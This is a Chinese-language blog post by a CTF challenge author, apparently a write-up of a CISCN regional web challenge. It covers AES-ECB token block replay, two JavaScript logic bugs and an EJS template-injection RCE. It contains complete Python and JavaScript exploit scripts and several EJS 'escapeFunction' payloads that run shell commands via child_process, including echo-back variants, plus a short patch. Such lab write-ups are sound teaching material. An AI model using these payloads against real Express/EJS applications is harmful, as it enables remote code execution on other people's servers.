CISCN国赛东南赛区出题小记
好久没写博客了,正好出题写了 wp,就放上来水一下吧。这次难度控制的不是很好,fix 很简单,但是攻击只有 1 解,不过希望师傅们游戏玩得开心。
拿到题目可以发现其实后端的代码并不复杂,index.cjs
中仅有两个接口,一个 websocket,一个 render:
websocket
跟进到 ws.mjs
中可以看到本题所有的接口都是通过 AES ECB 来进行身份验证的,或许可以考虑 ECB 重放攻击,但是现在似乎并不能直接使用,mark 一下。
继续看代码可以发现 profilePayload
接口有个很奇怪的东西:
都不用原型链污染了,真贴心,但是我们并不能控制 debug
属性,仍然 mark,后面会用到
render
一来就是一个非常显眼的注释:
可以看到给了一个过期的 token,但是这道题是基于 AES ECB 的,不妨把数据对齐看看能不能重放:
很明显最后两块是可以利用的,加上前面 websocket 的 profilePayload
接口我们可以往里面加任意属性,控制一下长度就可以构造 debug == true
了。
继续往后面看:
这一段代码乍一看似乎没什么问题,但是短短几行代码就隐藏了两个 bug:
换行缺少分号
在 data
复制的地方可以看到第一行是没有分号的,代码本意是第一行将 data
赋值为一个数组,第二行通过布尔判断截断的方式打印提示,但是因为缺少分号,并且紧接的第二行是以 [
开头,这就会导致第二行的 [decrypted.debug ? 0 : 1]
变成第一行的取下标操作,最后 data
变量的值就会变成一个对象,而结合前面 decrypted.debug
已经可控,我们就可以控制让 data
变量被赋值为 decrypted
的值。
if 代码块内无 return
由于在前面写死了 const env = 'production';
,所以在这里检测 env === 'production'
的时候虽然似乎乍一看无解了,但是由于这里执行完成之后并没有 return,后面的代码其实还是会继续运行,也就是说 data
会被传入 res.render
函数进行渲染,而 data
变量可控,这就是一个很简单的 ejs rce了。
exp
注:两个 exp 的 payload 中都有一个很长的字符串,其实大可不必写这么长,空字符串其实都可以,反正前面已经构造好了,后面会被替换上去,有一个块就可以了,咱也不知道当时写 wp 的时候在想什么,反正能打通就行;-)
python 版本:
import base64
import json
import requests
from websockets.sync.client import connect
endpoint = "http://192.168.88.128:3000"
ws_endpoint = endpoint.replace("http", "ws")
# test token
# {"iat":150000000
# 0000,"exp":15999
# 99999999,"name":
# "ciscn","debug":
# true}
# exp token
# {"iat":16xxxxxxx
# xxxx,"exp":16xxx
# xxxxxxxx,"name":
# "exp","achieveme
# nts":[],"setting
# s":{"view option
# s":{"client":1,"
# escapeFunction":
# "0;return proces
# s.mainModule.con
# structor._load('
# child_process').
# execSync('/readf
# lag>statics/flag
# ')"}},"longStr":
# "ciscn","debug":
# true}
test_token = base64.b64decode("IK8FyUzqb7xjrpWnphEEY5d9814rMICbbGJxKM9Hy/niR0R00mHAoUfxp+5lYU7Pd5nXqPPBP9xlWPERsTe16jJnXLb9hYQ3PQbkkOUr8pA=")
with connect(ws_endpoint) as ws:
ws.send(json.dumps({
"type": "login",
"id": "exp",
"data": {
"username": "exp",
"password": "exp",
},
}))
token = json.loads(ws.recv())["data"]["token"]
ws.send(json.dumps({
"type": "profilePayload",
"id": "exp",
"data": {
"token": token,
"payload": {
"settings": {
"view options": {
"client": 1,
"escapeFunction": "0;return process.mainModule.constructor._load('child_process').execSync('/readflag>statics/flag')"
},
},
"longStr": "some_random_sting_just_to_make_sure_the_payload_is_long_enough_and_will_be_replaced_anyway",
},
},
}))
payload = base64.b64decode(json.loads(ws.recv())["data"]["token"])
payload = payload[:15 * 16] + test_token[3 * 16:]
payload = base64.b64encode(payload).decode()
requests.get(endpoint + "/profile", params={"token": payload})
print(requests.get(endpoint + "/flag").text)
考虑到有的选手赛前并没有安装 python 的 websocket 相关库,本题目也可以使用 js 解答:
const endpoint = 'http://192.168.88.128:3000';
const wsEndpoint = endpoint.replace('http', 'ws');
const testToken = atob('IK8FyUzqb7xjrpWnphEEY5d9814rMICbbGJxKM9Hy/niR0R00mHAoUfxp+5lYU7Pd5nXqPPBP9xlWPERsTe16jJnXLb9hYQ3PQbkkOUr8pA=');
const ws = new WebSocket(wsEndpoint);
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'login',
id: 'login',
data: {
username: 'exp',
password: 'exp'
}
}));
};
ws.onmessage = (event) => {
const resp = JSON.parse(event.data);
switch (resp.id) {
case 'login':
const loginToken = resp.data.token;
ws.send(JSON.stringify({
type: 'profilePayload',
id: 'exp',
data: {
token: loginToken,
payload: {
settings: {
"view options": {
client: 1,
escapeFunction: "0;return process.mainModule.constructor._load('child_process').execSync('/readflag>statics/flag')"
}
},
longStr: "some_random_sting_just_to_make_sure_the_payload_is_long_enough_and_will_be_replaced_anyway"
}
}
}));
break;
case 'exp':
let payload = atob(resp.data.token);
payload = payload.slice(0, 16 * 15) + testToken.slice(3 * 16);
payload = btoa(payload);
fetch(`${endpoint}/profile?token=${encodeURIComponent(payload)}`, {
method: 'GET',
mode: 'no-cors'
}).finally(() => {
fetch(`${endpoint}/flag`, {
method: 'GET',
mode: 'no-cors'
}).then((resp) => resp.text()).then((flag) => {
document.body.innerText = flag;
});
});
}
};
patch
patch 部分就很简单了,比赛期间也基本是送分的存在。根据前面的分析,本题最主要的点是 ejs 的 rce,所以最直接能够想到的办法就是在 index.cjs
中对传入 res.render()
的参数进行限制:
或者在 ws.mjs
的 profilePayload
中生成 token 时直接删掉 payload
的解构:
sed -i '/\.\.\.payload/d' /app/ws.mjs
后记
ejs 中使用 import 进行 rce
其实在出题的时候曾经考虑过把 index.js
也弄成 esmodule 的形式,这样在 ejs render rce 的时候就不能用 process.mainModule.constructor._load
来获取 child_process
了,require()
也没了。
但是考虑到现在网上几乎所有的文章里面都是用的这种方法,而且师傅们在现场也不能查资料,调试起来或许会有些困难,于是就还是把 index.js
写成 commonjs 的形式了。
在这里顺便贴一下在 esmodule 下对 ejs 进行 rce 的 payload,其实大差不差:
import('child_process').then(cp=>cp.default.execSync).then(exec=>exec('calc'))
或者再加一个 async
的 opt:
{
"settings": {
"view options": {
"client": 1,
"async":1,
"escapeFunction": "0;const child_process = await import('child_process');return child_process.execSync('calc')"
}
}
}
ejs 带回显 rce
commonjs
其实这道题我写的 exp 中的 payload 就是可以回显的:
我们可以看看 ejs 是怎么获取模板渲染结果的:
可以看到它是将模板“编译”成 js 运行,得到结果后再输出的,在 26 行我们进行拼接之后就可以自己构造一个 return 然后自定义模板渲染的返回结果了。
esmodule
由于 esmodule 的 rce 是使用 import()
实现的,而这是一个异步的函数,所以并不能跟上文的 commonjs 一样直接 return,哪怕在 ejs 的 option 中设置了 async
也不行,只会返回一个空的 json,原因在于 express 的 response.js
中的默认回调函数:
express 并没有考虑到异步的情况,async 函数返回的是一个 promise 对象,这里并没有 resolve 或者 await 来获取运行结果。如果在路由中不传入 callback 的话那就没有办法回显了。出于类似的原因,报错信息也不能被返回,所以也断掉了通过报错携带回显的道路。
经过一些寻找之后我并没有发现一个能够直接回显的方法,不过有权限的话还是可以通过写文件、反弹 shell 之类的方式来做。
2023年6月26日下午补充
经过一些更多的寻找之后,esmodule 下也能一次访问回显了:
talk is cheap,直接上代码:
0;import('child_process').then(cp=>cp.default.execSync).then(exec=>{__output=exec('whoami')}).catch(e=>{__output=e.toString()});while(!__output)process._tickCallback();return __output
原理也很简单,就是同步阻塞等待异步结果,关键点在 process._tickCallback();
这一行,如果只写一个类似 while(!__output) continue;
之类的话就会一直停在这里,不太明白的师傅可以去深入了解以下 js 的 eventloop。
这个 __output
是后面 31 行定义的,由于变量提升这里也可以访问到,所以我直接就用了这个变量名(能懒一点是一点 精简 payload),当然也可以自己重新定义一个变量来存放运行结果。